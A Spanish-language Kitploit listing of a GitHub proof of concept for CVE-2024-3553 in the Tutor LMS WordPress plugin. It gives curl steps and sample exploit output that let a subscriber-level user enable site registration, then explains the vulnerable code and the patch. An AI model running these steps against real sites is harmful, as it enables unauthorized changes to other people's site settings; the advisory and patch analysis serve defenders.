Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Vulnerabilidad de autorización faltante que permite a atacantes autenticados habilitar el registro de usuarios | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2024-3553
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Vulnerabilidad de autorización faltante que permite a atacantes autenticados habilitar el registro de usuarios

Ver Repositorio
13hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-3553

Tutor LMS <= 2.6.2 - Autorización faltante para actualización limitada de opciones no autenticada

El plugin Tutor LMS – eLearning and online course solution para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidades en la función hide_notices() en todas las versiones hasta la 2.6.2 inclusive. Esto permite que atacantes autenticados (incluyendo usuarios de bajo privilegio como suscriptores) habiliten el registro de usuarios en sitios que los administradores pueden haberlo deshabilitado.

Detalles

  • Tipo: plugin
  • Slug: tutor
  • Versión afectada: 2.6.2
  • Puntuación CVSS: 6.5
  • Clasificación CVSS: Medio
  • Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • Estado: Activo

POC

Explotación automatizada

Un exploit completo en Python está disponible: exploit-cve-2024-3553-v2.py

# Explotación automatizada completa
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Solo verificar el estado del registro
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

Explotación manual

Requisitos previos:

  • Cualquier cuenta autenticada (suscriptor, colaborador, etc.)
  • Plugin Tutor LMS instalado y activado

Paso 1: Iniciar sesión como usuario de bajo privilegio

# Iniciar sesión como suscriptor o cualquier usuario autenticado
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

Paso 2: Extraer el nonce del área de administración

# Cualquier usuario autenticado puede acceder a /wp-admin/ (incluso suscriptores)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

Paso 3: Ejecutar el exploit

# Enviar solicitud para habilitar el registro de usuarios
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

Paso 4: Verificar el éxito

# Comprobar si el registro está ahora habilitado
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registro HABILITADO" || echo "Registro DESHABILITADO"

Explotación en una sola línea

# Como cualquier usuario autenticado, simplemente visite:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

Salida de ejemplo

======================================================================
CVE-2024-3553 Exploit - Tutor LMS Autorización faltante
Objetivo: https://target.com
======================================================================

[*] Comprobando el estado actual del registro...
[+] El registro está actualmente DESHABILITADO

[*] Intentando iniciar sesión como: subscriber
[+] Sesión iniciada correctamente como: subscriber

[*] Paso 2: Extrayendo nonce del área de administración...
[+] Nonce encontrado: abc123def456

[*] Paso 3: Ejecutando exploit para habilitar el registro de usuarios...
[*] Objetivo: https://target.com
[*] Usando nonce: abc123def456
[*] URL del exploit: https://target.com/wp-admin/index.php
[*] Parámetros: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Estado de respuesta: 200
[+] Solicitud de exploit enviada correctamente!

[*] Paso 4: Verificando el éxito de la explotación...
[+] El registro está actualmente HABILITADO

======================================================================
[!] EXPLOTACIÓN EXITOSA!
[!] El registro de usuarios ahora está HABILITADO
[!]
[!] Impacto: Un atacante con una cuenta de bajo privilegio (suscriptor)
[!] pudo habilitar el registro de usuarios en un sitio donde estaba
[!] deshabilitado. Esto podría permitir la creación de cuentas adicionales,
[!] potencialmente llevando a spam o acceso no autorizado.
======================================================================

Código vulnerable

Archivo: /classes/User.php (Líneas ~800-815)

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // FALLO CRÍTICO: is_admin() solo verifica si está en el área de administración, ¡NO el rol de usuario!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // SIN VERIFICACIÓN DE CAPACIDAD - ¡Cualquier usuario autenticado puede ejecutar esto!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Puntos clave de vulnerabilidad:

  1. is_admin() solo verifica que la solicitud sea a una página de administración, NO que el usuario sea administrador
  2. CUALQUIER usuario autenticado puede acceder a /wp-admin/ (incluso suscriptores)
  3. La verificación de nonce asegura que la solicitud es intencionada, pero NO que el usuario tenga los permisos adecuados
  4. Falta: verificación de capacidad current_user_can('manage_options')
  5. Esto permite que CUALQUIER usuario autenticado modifique la opción users_can_register

Parche (v2.7.0)

Archivo: /classes/User.php (Versión parcheada)

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CORRECCIÓN DE SEGURIDAD: Se agregó verificación de capacidad
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Ahora correctamente protegido
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

El parche agrega current_user_can('manage_options') para verificar que el usuario tenga privilegios de administrador antes de permitir la actualización de la opción.

Impacto

  • Gravedad Media: Aunque no compromete el sitio directamente, esta vulnerabilidad permite:
    • Eludir los controles administrativos
    • Habilitar el registro de usuarios en sitios protegidos/privados
    • Posible creación de cuentas de spam
    • Circunventar las políticas de seguridad del sitio
    • Modificación no autorizada de la configuración del sitio

Análisis de causa raíz

Error común de seguridad en WordPress

Esta vulnerabilidad demuestra un malentendido crítico de las funciones de autorización de WordPress:

INCORRECTO ❌:

if ( is_admin() ) {
    // Pensando que esto significa "el usuario es administrador"
    update_option( 'sensitive_option', $value );
}

CORRECTO ✅:

if ( current_user_can( 'manage_options' ) ) {
    // Realmente verifica si el usuario tiene capacidades de administrador
    update_option( 'sensitive_option', $value );
}

Comparación de funciones

FunciónQué verifica realmenteUso de seguridad
is_admin()Si la URL actual está en /wp-admin/❌ NO para autorización
current_user_can()Si el usuario tiene una capacidad específica✅ Autorización correcta
wp_verify_nonce()Si la solicitud es intencionada (protección CSRF)✅ Pero no suficiente por sí sola

Defensa en profundidad requerida

La seguridad adecuada en WordPress requiere múltiples capas:

Descargar herramienta